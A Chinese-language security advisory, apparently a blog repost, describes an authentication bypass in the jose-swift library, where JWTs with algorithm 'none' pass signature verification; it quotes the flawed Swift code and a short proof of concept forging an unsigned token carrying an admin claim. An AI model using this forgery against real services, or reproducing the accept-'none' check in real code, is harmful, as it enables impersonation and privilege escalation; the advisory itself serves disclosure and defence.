警惕“无算法”漏洞:JWT签名验证可被完全绕过

jose-swift库存在一个高风险认证绕过漏洞。当攻击者将JWT令牌头部的算法设置为“none”时,验证函数会无条件返回true,使攻击者能够伪造任意用户身份、提升权限并访问受保护资源。

jose-swift 存在通过“none”算法绕过JWT签名验证的漏洞

摘要: 这是一个高风险的认证绕过漏洞。当JWT的头部包含"alg": "none"时,jose-swift库的签名验证函数会立即返回true,而不执行任何密码学验证。这使得任何未经身份验证的攻击者都可以伪造任意令牌,从而完全冒充任何用户并提升权限。

漏洞详情

该漏洞存在于 Sources/JSONWebSignature/JWS+Verify.swift 文件的第34-37行:

1
2
3
4
public func verify<Key>(key: Key?) throws -> Bool {
    guard SigningAlgorithm.none != protectedHeader.algorithm else {
        return true  // <-- 漏洞点:不进行验证即返回true
    }

当JWT头部包含"alg": "none"时,verify()方法会立即返回true,且不执行以下关键检查:

  • 检查签名是否为空或存在
  • 根据任何密钥验证令牌
  • 要求调用者明确选择加入(explicit opt-in)

SigningAlgorithm枚举(位于Sources/JSONWebAlgorithms/Signatures/SigningAlgorithm.swift:72)明确将case none = "none"包含为有效算法。

所有验证方法均受影响:

  • JWS.verify(key:) - 实例方法
  • JWS.verify(jwsString:payload:key:) - 静态方法
  • JWT.verify(jwtString:senderKey:) - 高级API

漏洞复现(PoC)

  1. 创建一个带有修改后声明的伪造JWT:

    1
    2
    3
    4
    5
    6
    7
    
    // 带有 alg:none 的伪造头部
    let header = #"{"alg":"none","typ":"JWT"}"#
    // 攻击者包含提升权限的负载
    let payload = #"{"sub":"user123","admin":true}"#
    // Base64URL编码并与空签名连接
    let forgedToken = base64url(header) + "." + base64url(payload) + "."
    // 结果: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMTIzIiwiYWRtaW4iOnRydWV9.
    
  2. 验证伪造的令牌能通过验证:

    1
    2
    
    let jws = try JWS(jwsString: forgedToken)
    let isValid = try jws.verify(key: legitimateSecretKey)  // 返回 TRUE
    

影响范围

受影响版本:<= 6.0.1 已修复版本:无

这是一个身份验证绕过漏洞受影响对象:任何使用jose-swift进行JWT验证的应用程序都容易受到攻击。攻击者可以:

  • 伪造身份:创建声称是任何用户的令牌
  • 提升权限:添加管理员/超级用户声明以获得未经授权的访问权限
  • 完全绕过身份验证:无需有效凭据即可访问受保护资源
  • 修改任何声明:更改过期时间、受众、发行者或任何自定义声明

此攻击无需了解签名密钥,并且对所有签名算法(HS256、RS256、ES256等)都有效,因为攻击者完全绕过了签名验证。

参考资料

  • 漏洞报告人:Louis Nyffenegger - https://pentesterlab.com/
  • GHSA ID: GHSA-88q6-jcjg-hvmw
  • CWE: CWE-327 - 使用损坏或有风险的加密算法

CVSS 评分

该漏洞的CVSS总体评分为 8.8(高危)

CVSS v4.0 基本指标:

  • 攻击途径: 网络
  • 攻击复杂性: 低
  • 所需权限: 无
  • 用户交互: 无
  • 受影响系统的机密性影响: 高
  • 受影响系统的完整性影响: 高
  • 受影响系统的可用性影响: 无

向量字符串: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计